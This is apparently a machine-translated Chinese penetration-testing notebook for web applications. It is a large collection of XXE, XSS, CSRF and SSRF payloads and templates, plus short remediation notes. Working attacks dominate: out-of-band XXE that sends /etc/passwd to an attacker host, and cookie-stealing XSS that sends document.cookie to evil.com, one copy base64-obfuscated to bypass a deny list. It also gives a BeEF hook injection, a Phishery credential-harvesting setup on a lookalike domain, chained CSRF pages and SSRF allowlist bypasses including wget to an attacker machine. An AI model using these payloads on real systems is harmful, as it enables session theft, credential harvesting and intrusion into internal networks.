渗透测试|Web 应用渗透测试笔记

2022010118120731

XXE

有效用例

这是如何使用外部实体的非恶意示例:

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE copyright [
  <!ELEMENT copyright (#PCDATA)>
  <!ENTITY c SYSTEM "http://www.xmlwriter.net/copyright.xml">
]>
<copyright>&c;</copyright>

资源: https //xmlwriter.net/xml_guide/entity_declaration.shtml

测试方法

拦截到易受攻击页面的 POST 后,看看是否可以让系统执行通常的操作,但要使用实体:

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">]
>
<methodCall><methodName>&test;</methodName></methodCall>

如果成功,让我们看看您是否可以从系统中读取文件:

<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test SYSTEM "file:///etc/passwd">]
>
<methodCall><methodName>&test;</methodName></methodCall>

或者在系统上打开一个php文件:

<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=index.php">]
>
<methodCall><methodName>&test;</methodName></methodCall>

这个特定的例子应该返回一个 base-64 编码的字符串,解码后将是您指定的内容 php 文件。

网山羊 8

测试我们是否可以添加带有实体的评论:

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">
]>
<comment><text>&test;</text></comment>

现在检查您是否可以从文件系统中读取文件:

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<comment><text>&test;</text></comment>

螺科

要获取 mutilidae 上的文件,请在易受攻击的表单输入上使用此有效负载:

<?xml version="1.0"?> <!DOCTYPE a
[<!ENTITY TEST SYSTEM "file:///etc/passwd">]
>

<methodCall><methodName>&TEST;</methodName></methodCall>

您也可以省略 xml 版本:

<!DOCTYPE a
[<!ENTITY TEST SYSTEM "file:///etc/passwd">]
>

<methodCall><methodName>&TEST;</methodName></methodCall>

以及应用获取上面讨论的php文件的内容:

<!DOCTYPE a
[<!ENTITY TEST SYSTEM "php://filter/convert.base64-encode/resource=phpinfo.php">]
>
<methodCall><methodName>&TEST;</methodName></methodCall>

带外

基础测试

  1. 启动 burp collaborator 并将有效负载复制到剪贴板
  2. 将其放入您正在上传的 XML 文件中:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://burp.collab.server" >]><foo>&xxe;</foo>
  1. 上传它,看看是否有请求被发送
  2. 如果是,请继续查看是否可以使用以下代码读取服务器上的文件

读取文件

  1. 将其放入您正在上传的 XML 文件中:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM
  "file:///etc/lsb-release">
  <!ENTITY % dtd SYSTEM
  "http://<evil attacker hostname>:8000/evil.dtd">
  %dtd;
]>
<data>&send;</data>
  1. 将此文件<evil attacker hostname>evil.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://<evil attacker hostname>:8000/?collect=%file;'>"> %all;
  1. 托管 dtd 文件:
python -m SimpleHTTPServer 8000
  1. 上传 XML 文件。

资源: https //dzone.com/articles/out-of-band-xml-external-entity-oob-xxe

使用 FTP 读取文件

  1. 将其放入您正在上传的 XML 文件中:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://<evil attacker hostname>:8090/xxe_file.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
  1. 将此文件<evil attacker hostname>xxe_file.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd">                                     
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://<evil attacker hostname>:2121/%d;'>">
  1. 托管 dtd 文件: python -m SimpleHTTPServer 8090
  2. 在 上运行这个ruby 脚本<evil attacker hostname>
  3. 上传 XML 文件。

资源: https //blog.zsec.uk/out-of-band-xxe-2/

这也可以用来避免运行两个单独的侦听器:https : //staaldraad.github.io/2016/12/11/xxeftp/

一些不同的有效载荷:https //gist.github.com/staaldraad/01415b990939494879b4 https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-Fuzzing.txt

一些值得一看的文章:https ://hackerone.com/reports/347139

资源

https://blog.zsec.uk/out-of-band-xxe-2/ https://pentesterlab.com/exercises/play_xxe/course https://depthsecurity.com/blog/exploitation-xml-external-entity -xxe-injection https://find-sec-bugs.github.io/bugs.htm#XXE_SAXPARSER https://www.youtube.com/watch?v=m6KP0wpBJpU https://www.slideshare.net/ssuserf09cba/ xxe-how-to-become-a-jedi https://www.blackhillsinfosec.com/xml-external-entity-beyond-etcpasswd-fun-profit/ https://blog.detectify.com/2018/04/17 /owasp-top-10-xxe/

跨站脚本攻击

文件上传字符串 XSS

如果您发现图片的文件上传功能,请尝试在文件名中引入带有 XSS 的图片,如下所示: <img src=x onerror=alert('XSS')>.png "><img src=x onerror=alert('XSS')>.png "><svg onmouseover=alert(1)>.svg <<script>alert('xss')<!--a-->a.png 资源: https //twitter.com/xsspayloads/status/904945958592622592?lang=en

将文件 XSS 负载作为名称

cp somefile.txt \"\>\<img\ src\ onerror=prompt\(1\)\>

SVG

每当您遇到图像上传时,这都值得尝试。创建一个文件 stuff.svg 并将其放入其中:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert('XSS!');
   </script>
</svg>

资源: https //medium.com/@friendly_/xss-at-hubspot-and-xss-in-email-areas-674fa39d5248

SVG #2

如果您在一个还可以上传文件的系统上测试文本编辑器,请尝试嵌入 svg:

<iframe src="https://s3-us-west-2.amazonaws.com/s.cdpn.io/3/movingcart_1.svg" frameborder="0"></iframe>

如果可行,请上传包含以下内容的 SVG 并尝试使用文本编辑器进行渲染:

<svg xmlns="http://www.w3.org/2000/svg">
    <script>alert(document.domain)</script>
</svg>

资源: https //github.com/cure53/H5SC

多语种

将其托管在您控制的网络服务器上的文件中,并将您的目标指向它:

<iframe srcdoc="&lt;html&gt;&lt;script&gt;alert(0000)&lt;/script&gt;&lt;/html&gt;" onerror=prompt(document.domain)></iframe>
			<svg version="1.1" onload="prompt(document.domain)" onchange="prompt(document.domain)" onerror="prompt(document.domain)" type="html"  baseProfile="full" xmlns="http://www.w3.org/2000/svg">
			<script>prompt(document.domain)</script>
			<foo>
<html xmlns:html='http://www.w3.org/1999/xhtml'>
 <html:script>prompt(document.domain);prompt(document.domain);</html:script>
</html>
</foo>
<script>
prompt&grave;1&grave;
</script>
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400">
   </polygon>
   <script type="text/javascript">
   prompt(document.domain);
      prompt(document.domain);
   </script>
</svg>

资源: 感谢Jason Tsang提供的这一资源。 https://kalilinuxpentester.wordpress.com/2017/08/02/use-python-to-detect-and-bypass-web-application-firewall/

XML

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>

资源: https //blog.it-securityguard.com/bugbounty-papyal-xml-upload-cross-site-scripting-vulnerability/

CSP 旁路

这将适用于script-src self<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

资源: https //github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection

另一个专门针对 Firefox 的:

<object data="javascript:alert(1)">

**资源:** https://portswigger.net/daily-swig/firefox-vulnerable-to-trivial-csp-bypass

通用负载

<svg onload=alert(1)>http //jsfiddle.net/23sqP/3/<svg onload=alert(1)> "><svg onload=alert(1)> "onmouseover=prompt(1) // <div onmouseover="alert('XSS');">Hello :) "autofocus onfocus=alert(1)// "autofocus onfocus=prompt(1) // '-alert(1)-':有效载荷坚持一个事件,就像一个onclick。 \'-alert(1)// "+alert(1));<!-- '-prompt(1)//:有效载荷坚持一个事件,就像一个onclick。 eval(atob('YWxlcnQoMSk=')):使用btoa('alert(1)') 1")%3balert(document.cookie%2b"– https://hackerone.com/reports/141244 ?param=111/u0026;typ=55577%5D%22)%3balert(document.cookie)%3b// – https://hackerone.com/reports/146336生成字符串/u0026; is & \"><frame src=javascript:alert(document.domain)> <img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'> <iMg SrC=x OnErRoR=alert(1)> "><img src onerror=alert(1)> <div onmouseover="alert('XSS');">Move your mouse over me. '"</Script><Html Onmouseover=(alert)(document.domain) // </script><script>alert(1)</script> </script><img onerror=prompt(1)> \'-prompt(1)// <img="" onerror="prompt()"> <img/onerror="prompt()"> "><input/onauxclick="[1].map(prompt)"> <iframe srcdoc="&lt;script>prompt(document.domain)&lt;/script/>"></iframe> <iframe src='jAvAsCripT:alert`1`'></iframe> a id="test1"></a><a id="test1" name="test2" href="x:alert(2)"></a>2<a id="test1"></a><a id="test1" name="test2" href="x:alert(2)"></a>– https://research.securitum.com/xss-in-amp4email-dom-clobbering/

在这里可以找到大量有效载荷:https : //portswigger.net/web-security/cross-site-scripting/cheat-sheet

<output name="jAvAsCriPt://&NewLine;\u0061ler¡(1)" onclick="eval(name)">X</output> 资源: https //twitter.com/joernchen/status/1086237923652046849

str<script>alert(1)<\/script>ing – 在 JSON 值中试一试

您还可以使用https://www.freeformatter.com/json-escape.html#ad-output 对您拥有的任何有效负载进行 JSON 转义

您可以使用控制台将字符串转换为正确的形式,如下所示:

JSON.stringify('<img src=x onerror=prompt(document.domain)>');

</Textarea/</Noscript/</Pre/</Xmp><Svg /Onload=confirm(document.domain)> 资源: https //medium.com/@vis_hacker/how-i-got-stored-xss-using-file-upload-5c33e19df51e

在接收电子邮件的领域尝试这个: x@x.com<--`<img/src=` onerror=alert(1)> --!> 资源: https //medium.com/@friendly_/xss-at-hubspot-and-xss-in-email-areas-674fa39d5248

一些 JSFuck 操作:""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")() 资源: https ://inventropy.us/blog/constructing-an-xss-vector-using-no-letters

根据OWASP XSS 过滤器规避网站,这个有效负载应该只适用于 Firefox 。但是,在文本编辑器类型的应用程序中存储的 XSS 上下文中,我在 Chrome 中也很幸运:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

微小的有效载荷

<base href=//0>

在您的系统上,运行以下命令: echo "alert(document.domain)" | nc -lp80

资源: http //brutelogic.com.br/blog/shortest-reflected-xss-possible/

多语言

我基于这个构建的多语言:

oNcliCk=alert(1)%20)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>%5Cx3csVg/<img/src/onerror=alert(2)>%5Cx3e

资源: https //github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

我在这方面取得了一些不错的成功:

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(document.domain)//'>

资源: https //twitter.com/xsspayloads/status/663599944834617344

额外的有效载荷:

javascript:alert();//<img src=x:x onerror=alert(1)>\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//--></title></textarea></style></noscript></noembed></template></select></script><frame src=javascript:alert()><svg onload=alert()><!--

资源: https //gist.github.com/michenriksen/d729cd67736d750b3551876bbedbe626

测试 PDF 生成中的 XSS

查看123是否打印为pdf:

<script>document.write(123)</script>

带外:

<iframe src="http://myhost:myport">

资源: https //www.youtube.com/watch?v=o-tL9ULF0KI

反应

如果您dangerouslySetInnerHTML在源代码中看到,请尝试以下有效负载:

<img src=x onerror=console.log("XSS")>

因为 console.log 没有被沙箱化,所以你应该在浏览器的控制台中得到一个点击。

感谢Jason Tsang的这一点。

Basic Auth Cred Harvester

如果您遇到一个容易受到存储型 XSS 攻击的站点,但为 cookie 设置了 HTTPOnly 标志,请尝试使用基本身份验证提示获取其凭据:

  1. 获得一个看起来相当接近目标的域。
  2. 从这里下载 Phishery:https : //github.com/ryhanson/phishery并编译二进制文件。
  3. 编译并运行它
  4. 为有效载荷设置: <img/src/onerror=document.location="https://evil.com/">
  5. 等待信用证进来。

偷饼干

窃取 cookie 的简单有效载荷:

<img/src/onerror=document.location="http://evil.com:8090/cookiez.php?c="+document.cookie>

拒绝列表旁: 我碰到一个网站最近指使用拒绝列表来(以前称为“黑名单”) ,//:"<>。这就是我为解决这个问题所做的:

btoa('document.location="http://evil.com:8090/r.php?c="+document.cookie')

给你这个字符串: 'ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9ldmlsLmNvbTo4MDkwL3IucGhwP2M9Iitkb2N1bWVudC5jb29raWU='

使用此有效负载:

eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9ldmlsLmNvbTo4MDkwL3IucGhwP2M9Iitkb2N1bWVudC5jb29raWU='))

另一个:

<script>new Image().src="http://evil.com:8090/b.php?"+document.cookie;</script>

资源: https //www.lanmaster53.com/2011/05/13/stealth-cookie-stealing-new-xss-technique/

这个非常棒:

<svg onload=fetch("//attacker/r.php?="%2Bcookie)>

设置监听器进行拦截:

nc -lvp 8090

或者你也可以使用这个:

python -m SimpleHTTPServer 8090

测试会话劫持

使用 burp repeater,它可以非常轻松地使用不同的 cookie,并了解影响,尤其是响应的渲染选项卡。

资源: https //null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/ https://www.exploresecurity.com/a-tricky-case- of-xss/ https://brutelogic.com.br/blog/xss101/

过滤绕过资源

处理过滤器的很棒的资源集合:https //www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet https://bittherapy.net/a-trick-to-bypass-an-xss-filter-and-execute- javascript/ https://support.portswigger.net/customer/portal/articles/2590820-bypassing-signature-based-xss-filters-modifying-script-code https://brutelogic.com.br/blog/avoiding-xss -检测/ https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec

基于POST的XSS

如果您无法将基于 POST 的 XSS 转换为 GET 请求(可能在目标服务器上禁用了 GET 请求),请尝试 CSRF。这可以让您有机会将您的有效载荷传送给受害者。

降价

[Click Me](javascript:alert(document.domain))

资源: https //medium.com/taptuit/exploiting-xss-via-markdown-72a61e774bf8

基于 DOM 的 XSS 负载:

<target.com>/#<img/src/onerror=alert("XSS")>

如果正在使用 jQuery 并且您想将牛肉钩安装到位(请务必在使用前修改 URL 编码字符串):

<target.com>/#img/src/onerror=$("body").append(decodeURIComponent('%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3a%2f%2f%3c%65%76%69%6c%20%69%70%3e%3a%33%30%30%30%2f%68%6f%6f%6b%2e%6a%73%3e%3c%2f%73%63%72%69%70%74%3e'))>

另一个来自 James Kettle 的 bug 赏金提交: #<img/src="1"/onerror=alert(1)> 来自这里的另一个: #><img src=x onerror=prompt(1);>

资源: https //hackerone.com/reports/241619

JS 事件键码的好网站:http : //keycode.info/

这些站点有大量的有效载荷:https //www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection https://medium.com /@friendly_/xss-at-hubspot-and-xss-in-email-areas-674fa39d5248 https://zseano.com/tutorials/4.html https://github.com/EdOverflow/bugbounty-cheatsheet/blob/ master/cheatsheets/xss.md http://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html http://www.xss-payloads.com/payloads-list。 html?a#category=all

可能对有效载荷生成有用:http //www.jsfuck.com/ https://github.com/aemkei/jsfuck https://convert.town/ascii-to-text(有助于生成 String.fromCharCode 攻击) http://jdstiles.com/java/cct.html(也有助于生成 String.fromCharCode 攻击)

资源

https://brutelogic.com.br/blog/file-upload-xss/ https://infosecauditor.wordpress.com/2013/05/27/bypassing-asp-net-validaterequest-for-script-injection-attacks/ https://brutelogic.com.br/blog/

这是一个专门用于 ASP.NET 端点的负载,仅适用于存储的 XSS。它使用 unicode 对尖括号进行编码: '%uff1cscript%uff1ealert('XSS');%uff1c/script%uff1e'

盲XSS

Blind XSS 是存储型 XSS 的一种变体,其中有效载荷可能会出现在您无法访问的区域。XSS Hunter是检测目的的可靠选择。

有用的文章:https ://medium.com/@newp_th/how-i-find-blind-xss-vulnerability-in-redacted-com-33af18b56869

Web 应用程序将数据从小写转换为大写

如果您发现数据从小写变为大写的输入且输出未编码,请尝试使用 HTML 编码来触发有效负载。例如:

<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
<svg><script>alert(1)</script></svg>
<img src=x &#x6f;&#x6e;&#x65;&#x72;&#x72;&#x6f;&#x72;&#x3d;&#x70;&#x72;&#x6f;&#x6d;&#x70;&#x74;&#x28;&#x31;&#x29;>

资源: https //security.stackexchange.com/questions/117798/how-can-i-execute-a-xss-when-a-web-application-transforms-a-data-from-lowercase

修复

  • 验证和清理输入
  • 编码输出 HTML 编码:
& ---> &amp;
< ---> &lt;
> ---> &gt;
" ---> &quot;
' ---> '
/ ---> /
  • 将 HttpOnly cookie 属性设置为 true 以防止会话劫持
  • 使用 CSP

内容安全策略 (CSP)

  • 帮助缓解 XSS 和数据注入攻击
  • 通过将浏览器可以加载和执行 JS 的 URL 添加到允许列表来做到这一点
  • 防止内联 javascript 或来自不受信任的 URL 的任何 js
  • 配置 Web 服务器以返回 Content-Security-Policy HTTP 标头或<meta>可用于配置策略

示例:所有内容都应来自网站自己的来源

资源: https //www.html5rocks.com/en/tutorials/security/content-security-policy/

CSRF

一些绕过技术,即使 CSRF 令牌到位:https : //zseano.com/tutorials/5.html

CSRF POC 与 REST API 在目标应用程序未验证请求标头时可以工作:

<html>
<script>
function jsonreq() {
  var xmlhttp = new XMLHttpRequest();
  xmlhttp.open("POST","https://target.com/api/endpoint", true);
  xmlhttp.setRequestHeader("Content-Type","text/plain");
  //xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
  xmlhttp.withCredentials = true;
  xmlhttp.send(JSON.stringify({"test":"x"}));
}
jsonreq();
</script>
</html>

资源: https //www.gracefulsecurity.com/csrf-vs-json/

带有闪存和重定向写入的 JSON 端点上的 CSRF:

CSRF 到反射型 XSS

这是 POC 此类攻击链的模板。

<html>
  <body>
    <p>Please wait... ;)</p>
    <script>
let host = 'http://target.com'
let beef_payload = '%3c%73%63%72%69%70%74%3e%20%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%20%73%2e%74%79%70%65%3d%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%20%73%2e%73%72%63%3d%27%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%68%6f%6f%6b%2e%6a%73%27%3b%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%29%3b%20%3c%2f%73%63%72%69%70%74%3e'
let alert_payload = '%3Cimg%2Fsrc%2Fonerror%3Dalert(1)%3E'

function submitRequest() {
  var req = new XMLHttpRequest();
  req.open(<CSRF components, which can easily be copied from Burp's POC generator>);
  req.setRequestHeader("Accept", "*\/*");
  req.withCredentials = true;
  req.onreadystatechange = function () {
    if (req.readyState === 4) {
      executeXSS();
    }
  }
  req.send();
}

function executeXSS() {
  window.location.assign(host+'<URI with XSS>'+alert_payload);
}

submitRequest();
    </script>
  </body>
</html>

资源: https //security.stackexchange.com/questions/106105/exploiting-csrf-put-request https://stackoverflow.com/questions/11833061/is-csrf-possible-with-put-or-delete-methods https://security.stackexchange.com/questions/166724/should-i-use-csrf-protection-on-rest-api-endpoints https://security.stackexchange.com/questions/149085/vuln-cross-origin -resource-sharing-arbitrary-origin-trusted https://www.moesif.com/blog/technical/cors/Authoritative-Guide-to-CORS-Cross-Origin-Resource-Sharing-for-REST-APIs/

菊花链多个 CSRF

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
    <head>
        <script language="javascript">

            window.onload = function() {
                document.getElementById("csrfForm1").submit();
                // to make 2nd form wait for 1st, put the following in a function and use as a callback for a new timer
               // for example:
               // setTimeout(function () {
               //   console.log("This message is shown after 3 seconds");
               //   document.getElementById("csrfForm2").submit();
               // }, 3000);
                document.getElementById("csrfForm2").submit();
            }

            // defeat frame busters
            window.onbeforeunload = function() {
                return "Please click 'Stay on this page' to allow it to finish loading.";
            }

        </script>
    </head>
    <body>

        <form id="csrfForm1" action=<!-- fill in POST URL here --> method="POST" target="csrfIframe1">
            <input type="hidden" name="" value="" />
            <!-- fill in form data here -->
        </form>

        <form id="csrfForm2" action=<!-- fill in POST URL here --> method="POST" target="csrfIframe2">
            <!-- fill in form data here -->
        </form>

        <!-- hidden iframes -->
        <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe1"></iframe>
        <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe2"></iframe>

    </body>
</html>

资源: https //www.lanmaster53.com/2013/07/17/multi-post-csrf/

补救和预防

理想情况下,这不应从头开始。最好使用为您完成这项工作的框架。

但是,如果您正在与计划推出自己的开发人员打交道,那么:

  • 为每个用户会话添加一个随机令牌
    • 令牌应该是不可预测的,具有高熵,与用户的会话相关联,并在执行任何状态更改操作之前经过严格验证
    • 令牌应与 POST 请求一起发送(GET 请求可以在日志文件、浏览器历史记录等中泄漏令牌)
  • 为每个请求生成一个令牌可能会导致可用性问题,例如后退按钮无法正常工作。
  • 确保令牌仅通过 TLS 发送以避免 MITM 问题。

这可用于难以在服务器端维护 CSRF 令牌状态的情况。它很容易实现并且是无状态的。

  • 随机值在 cookie 和请求参数中发送
  • 服务器验证cookie值和请求值匹配
  • 当用户访问时,该站点应生成一个加密的强伪随机值,并将其设置为用户计算机上与会话 ID 分开的 cookie。
  • 该站点要求每个请求都将此值作为隐藏的表单值、请求标头或请求参数包含在内。
  • 如果它们都匹配服务器端,则服务器接受请求

除非您的子域是完全安全的并且只接受 HTTPS 连接,否则它不是万无一失的。

将加密 cookie 中的值与身份验证 cookie 一起包含,然后将解密的身份验证 cookie 服务器端与隐藏表单字段、请求标头或请求参数中的令牌进行匹配是一个可靠的选择。这是因为子域无法在没有加密密钥的情况下覆盖正确制作的加密 cookie。

samesite cookie 属性禁止第三方使用 cookie(您只能在直接使用 Web 应用程序时使用它)。如果另一个站点尝试从设置了相同站点 cookie 的站点请求某些内容,则不会发送 cookie。这应该使 CSRF 变得不可能。

该samesite饼干有严格宽松的设置。如果设置了Lax,cookie 将与第三方网站发起的 GET 请求一起发送。

如果设置了Strict,cookie 将不会与第三方网站发起的请求一起发送。应该注意的是,这会对浏览体验产生负面影响,即您单击指向 twitter 个人资料页面的链接,而 twitter.com 的 cookie 为 SameSite=Strict,除非您再次登录 twitter,否则您无法查看该 twitter 页面.

据报道,除 Internet Explorer 外的所有浏览器都支持此功能:https : //developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Browser_compatibility

资源: https //scotthelme.co.uk/csrf-is-really-dead/ https://security.stackexchange.com/questions/162/what-is-the-correct-way-to-implement-anti- csrf-form-tokens https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md https://www.facebook.com/notes/facebook-bug-bounty/client-side- csrf/2056804174333798/ https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/ https://www.sjoerdlangkemper.nl/2016/ 04/14/preventing-csrf-with-samesite-cookie-attribute/#:~:text=%20same%2Dsite%20cookie%20attribute%20can%20be%20used%20to%20disable,usage%20for%20a%20specific% 20cookie.&text=When%20another%20site%20tries%20to,session%20from%20his%20site%20anymore.r

SSRF

如果您可以控制 URL 参数并且它不是重定向,那么您应该开始寻找 SSRF。

还值得看看 Webhooks、PDF 生成器、文档解析器和文件上传。可以在此处找到更多信息。

方法

检查是否可以访问本地主机:

http://localhost/

如果可行,请修改主机名并查看是否出现错误:

http://localasdfsdfhost/

接下来,看看有没有办法对内部资产进行端口扫描。几个例子:

http://localhost:22
http://internal-server:22/notarealfile.txt

如果您收到错误消息,请查看输出以查看两个端口之间是否存在差异和可能的指标,以确定您何时发现打开与关闭。如果没有错误消息,请确定您是否可以通过请求超时所需的时间来检测打开或关闭的端口。

同样值得使用https://transparencyreport.google.com/https/certificates?hl=en 之类的东西来了解您可以尝试使用的内部资产。

一定要尝试内部 ip 地址 – burp intruder 是一个很好的工具。

根据我的经验,一些易受攻击的参数仅适用于某些端口,例如 80、8080、443 等。最好针对这些端口进行测试以确保您没有遗漏某些内容。

OOB 测试(盲 SSRF)

使用 Burp Collaborator 或设置一个监听器:

nc -l -n -vv -p 8080 -k

该站点是用于带外测试的有用工具。

Referer 标头有时是一个很好的测试参数,因为此信息可用于分析。

拒绝列表绕过

如果解析器正在寻找特定的 IP 地址,请尝试使用十进制 IP 表示法

使用域重定向绕过本地主机

你可以自己站起来:

  1. 使用以下内容创建 index.php:
<?php header("location: http://127.0.0.1"); ?>
  1. 托管它(但这样做时要小心,因为它会在您所在的系统上引入安全漏洞): sudo php -S <your ip>:80 -t .
  2. 在易受攻击的应用程序中为目标站点指定主机

或者您可以使用http://spoofed.burpcollaborator.net代替 localhost:

host spoofed.burpcollaborator.net
spoofed.burpcollaborator.net has address 127.0.0.1

资源: https //medium.com/@vickieli/bypassing-ssrf-protection-e111ae70727b

混淆

双编码

尝试对您尝试访问的端点的路径的部分(或全部)进行双重编码。例如,改变这个:

http://localhost/admin

对此:

http://localhost/%2561dmin

%25-> % %61->a

改变端点的情况

尝试更改您尝试访问的端点的路径的大小写。例如,改变这个:

http://localhost/admin

对此:

http://localhost/ADMIN

或者像这样的一些变体:

http://localhost/Admin

允许绕过列表

在主机名之前在 URL 中嵌入信用

http://username@external-hostname-approved-by-allowlist

如果这会引发错误或表现出不同类型的行为,例如输入类似 的内容http://localhost,请尝试走私您试图点击的内部端点,如下所示:

http://internal-endpoint:associatedport#@external-hostname-approved-by-allowlist

IE

http://localhost:80#@external-hostname-approved-by-allowlist

您可能还需要包含一些 url 编码:

http://localhost:80%23@external-hostname-approved-by-allowlist

%23 -> #

甚至双重编码:

http://localhost:80%2523@external-hostname-approved-by-allowlist

%25-> % %23->#

指定 URL 片段

A#称为 URL 片段。这是一个如何使用一个绕过 SSRF 允许列表的示例:

http://localhost:80#external-hostname-approved-by-allowlist

使用 # 或 & 使附加路径无效

如果您有一个端点将路径附加到您的有效负载,请尝试将 a#或 a添加到您的有效负载&的末尾,如下所示:

http://internal-vulnerable-server/rce?cmd=wget%20attackers-machine:4000#
http://internal-vulnerable-server/rce?cmd=wget%20attackers-machine:4000&

有效载荷:

尝试打开 burp collaborator 并将其合并到用户的电子邮件中,即:

user@abc123.burpcollaborator.net

很棒的清单:https : //github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection

这对什么是有效的 SSRF 有很好的解释:https : //medium.com/@d0nut/piercing-the-veal-short-stories-to-read-with-friends-4aa86d606fc5

这对 SOP 和 CORS 以及 SSRF 有很好的描述:https : //www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/

漏洞赏金报告:https //hackerone.com/reports/508459 https://hackerone.com/reports/541169 https://hackerone.com/reports/115748 https://hackerone.com/reports/301924 https://www.sxcurity.pro/hackertarget/ http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html https://seanmelia.files.wordpress.com /2016/07/ssrf-to-pivot-internal-networks.pdf https://github.com/ngalongc/bug-bounty-reference#server-side-request-forgery-ssrf https://hack-ed.net /2017/11/07/a-nifty-ssrf-bug-bounty-write-up/

资源

https://portswigger.net/web-security/ssrf http://resources.infosecinstitute.com/the-ssrf-vulnerability/#gref http://blog.safebuff.com/2016/07/03/SSRF-Tips / https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/ https://securingtomorrow.mcafee.com/mcafee-labs/server-side-request-forgery-takes-advantage-vulnerable-app-servers/ https://hack-ed.net/2017/11/07/a-漂亮的ssrf-bug-bounty-write-up/

修复

  • 禁用未使用的URL模式,例如filedictftp,和gopher
  • 将您的应用程序需要访问的 DNS 名称或 IP 地址添加到允许列表(以前称为白名单)
  • 验证用户输入

侦察

https://medium.com/@adrien_jeanneau/whats-tools-i-use-for-my-recon-during-bugbounty-ec25f7f12e6d

SQL注入

双编码

尝试对您的输入进行双重编码,即

https://site.com/q/getjson.php?s=%2527

